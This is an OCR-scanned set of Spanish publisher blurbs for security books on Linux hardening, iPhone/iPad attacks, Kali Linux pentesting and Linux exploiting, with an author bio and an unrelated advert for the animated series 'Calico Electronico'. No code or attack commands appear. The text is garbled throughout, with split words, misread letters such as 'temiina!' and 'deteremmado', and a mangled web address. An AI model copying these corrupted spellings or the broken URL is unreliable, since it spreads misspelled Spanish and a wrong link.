gran  fiexihilidad  y  ope  i  ones,  por  Io  que  se  ha  opt  ado  por  irabajar  con 
las  tecnologias  mas  comunes  y  utilizadas.  En  deflnitiva,  este  libro  se 
recomienda  a  todos  aqucllos  que  deseen  reforzar  coneeptos,  as i  como 
para  los  que  neeesiten  una  base  desde  la  que  partir  a  la  hora  de 
securizar  un  entomo  Linux. 


A  dfa  dc  hoy  sc  han  vendido  mas  de  500  mi  Hones  de  dispositivos  iOS 
y  aunque  la  seguridad  del  si  sterna  ha  mejorado  con  cada  version 
todavia  se  pueden  encontrar  vulnerabilidades  a  cxplotar.  Las 
auditorias  de  seguridad  en  empresas  cada  vez  se  encuentran  con  mas 
dispositivos  iOS  entre  sus  objetivos,  ya  que  los  empleados  los  utilizan 
en  sus  puestos  de  trabajo,  Io  que  hace  que  haya  que  pensar  en  ellos 
como  posibles  riesgos  de  seguridad,  En  estc  libro  se  han  juntado  nn 
nutrido  grupo  de  expertos  en  seguridad  en  la  materia  para  recopilar 
en  un  texto,  todas  las  formas  de  atacar  un  temiina!  iPhone  o  iPad  de 
un  usuario  deteremmado.  Tras  leer  este  libro,  si  un  determinado 
usuario  tiene  un  iPhone  o  un  iPad*  seguro  que  al  lector  se  le  ocurren 
muchas  formas  de  eonseguir  la  informacion  que  en  el  sc  guarde  o  de 
controlar  Io  que  con  el  se  hace. 


Pentesting  con  Kali 
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Kali  Linux  ha  renovado  cl  espiritu  y  la  estabilidad  de  BackTrack 
gracias  a  la  agrupacion  y  seleccion  de  herramientas  que  son  utilizadas 
diariamente  por  miles  de  audi  tores,  En  Kali  Linux  se  han  eliminado 
las  herramientas  que  se  encontraban  deseatalogadas  y  se  han  afinado 
las  vers  i  ones  de  las  herramientas  top.  La  can  Li  dad  de  estas  es  Io  que 
situ  a  a  Kali  Linux*  como  una  de  las  mejores  distri  bud  ones  para 
auditor!  a  de  seguridad  del  mundo.  El  libro  piantea  un  en  toque 
em  men  Lem  erne  praetico,  priorizando  los  e  scenarios  reproducibles 
por  el  lector,  v  ensenando  el  uso  de  las  herramientas  mas  utilizadas 
cn  cl  mundo  de  la  auditoria  mformatka.  Kali  Linux  tiene  la  mision 
de  sustituir  a  la  distribucion  de  seguridad  por  excelencia,  y  como  se 
puede  visualizar  en  este  libro  tiene  razones  sobradas  para  lograrlo. 
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4 ‘Cali  co  Electronico”  se  ha  convertido  en  la  serie  de  an  i  mac  ion  Flash  mas  tamosa  de  E  span  a.  En  clave 
de  humor  y  con  una  animacion  de  gran  cal i dad,  Calico  Electronico  es  un  superheroe  "aspanol"  alejado 
total  men te  del  patron  establecido  en  los  superheroes:  Calico  es  bajito,  gordo,  y  no  tiene  ningun  poder. 
Lo  que  si  tiene  es  la  fljacion  de  salvar  a  su  ciudad  "Electronico  City"  de  cualquier  mah 


El  origen  de  ‘‘Calico  Electronico”  fue  una  eampafla  de  marketing  de  una  web.  No  obstante,  el  exito 
que  tuvo  supero  todas  las  expectativas  y  se  ere  6  una  identidad  pro  pi  a.  “Calico  Electronico"  ha  hecho 
farnoso  a  su  c  read  or,  Nikodemo,  que  a  partir  de  entonces  creo  un  estudio  de  animacion  llamado 
Nikodemo  Animation.  Tras  los  bxitos  imciales,  la  serie  tuvo  3  temporadas  de  6  capitulos  cada  una, 
incluyendose  en  el  las  unas  tomas  falsas,  al  estilo  de  las  peliculas  con  actores  reales,  Ademas  de  los 
capitulos  otlciales  se  hicieron  tambien  capitulos  espeeiales,  y  una  serie  para  lei  a  llamada  "Los 
hu  erf  a  no  s  e  te  c  tron  ic  o  s " . 


En  la  actual idad  los  fans  de  "Calico  Electronico"  pueden  acceder  a  multitud  de  productos  de  la  serie, 
ya  que  se  han  generado  nuevos  capitulos  y  se  han  reeditado  los  anliguos  en  alia  cal  idad,  dichos 
capitulos  estan  disponibles  para  iPhone,  Windows  Phone,  Windows  8  o  Android * 


Aplicacion  de  "Calico  Electronic  o'1  para  Windows  Phone 


Toda  la  informacion  acerca  de  "Calico  Electronico"  y  de  los  productos  mencionados  esta  disponible 
en  h  tip  :/Avww.  calicoelectroH tea.  com / 
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El  exploiting  es  la  base  de  todas  las  tecnicas  de  ataque  existentes  que  se  utilizan 
a  diario  contra  aplicaciones  vulnerables.  De  hecho,  si  no  fuera  por  esta  ardua  y 
paciente  tarea  que  los  hackers  han  ido  desarrollando  a  lo  largo  de  los  anos,  fra¬ 
meworks  completos  y  tan  conocidos  a  dia  de  hoy  como  lo  pueden  ser  Metasploit, 
Core  Impact  o  Canvas,  no  existirian  ni  podrfan  ser  utilizados  por  pentesters  y  pro- 
fesionales  de  la  seguridad  informatica  que  habitan  todo  el  globo  terraqueo,  El 
exploiting  es  el  arte  de  convertir  una  vulnerabilidad  o  brecha  de  seguridad  en  una 
entrada  real  hacia  un  sistema  ajeno.  Cuando  cientos  de  noticias  en  la  red  hablan 
sobre  "una  posible  ejecucion  de  codigo  arbitrario",  el  exploiter  es  aquella  persona 
capaz  de  desarrollar  todos  los  detalles  tecnicos  y  complejos  elementos  que  hacen 
realidad  dicha  afirmacion.  El  objetivo  es  provocar,  a  traves  de  un  fallo  de  progra- 
macion,  que  una  aplicacion  haga  cosas  para  las  que  inicialmente  no  estaba 
disenada,  pudiendo  tomar  asi  posterior  control  sobre  un  sistema.  Desde  la  pers¬ 
pective  de  un  hacker  etico,  este  libro  le  brinda  todas  las  habilidades  necesarias 
para  adentrarse  en  el  mundo  del  exploiting  y  el  hacking  de  aplicaciones  en  el 
sistema  operativo  Linux.  Conviertase  en  un  ninja  de  la  seguridad,  aprenda  el  Kung 
Fu  de  los  hackers.  Que  no  le  quepa  duda,  esta  a  un  paso  de  descubrir  un  maravi- 
lloso  mundo  repleto  de  estimulantes  desaffos. 


David  Puente  Castro,  mas  conocido  por  el  sobrenombre  blackngel,  es  un  apasio- 
nado  de  la  seguridad  informatica  que  ha  colaborado  con  numerosos  articulos  en 
la  revista  Linux+,  creando  como  iniciativa  la  seccion  Hacking  para  Linuxeros. 
Durante  ahos  ha  compartido  valiosa  informacion  actuando  en  el  papel  de  editor 
del  e-zine  hispano  S.E.T.  (Saqueadores  Edicion  Tecnica),  y  publicado  dos  impor- 
tantes  documentos  sobre  temas  avanzados  de  heap  exploiting  en  Phrack,  uno  de 
los  magazines  de  hacking  mas  prestigiosos  del  mundo. 
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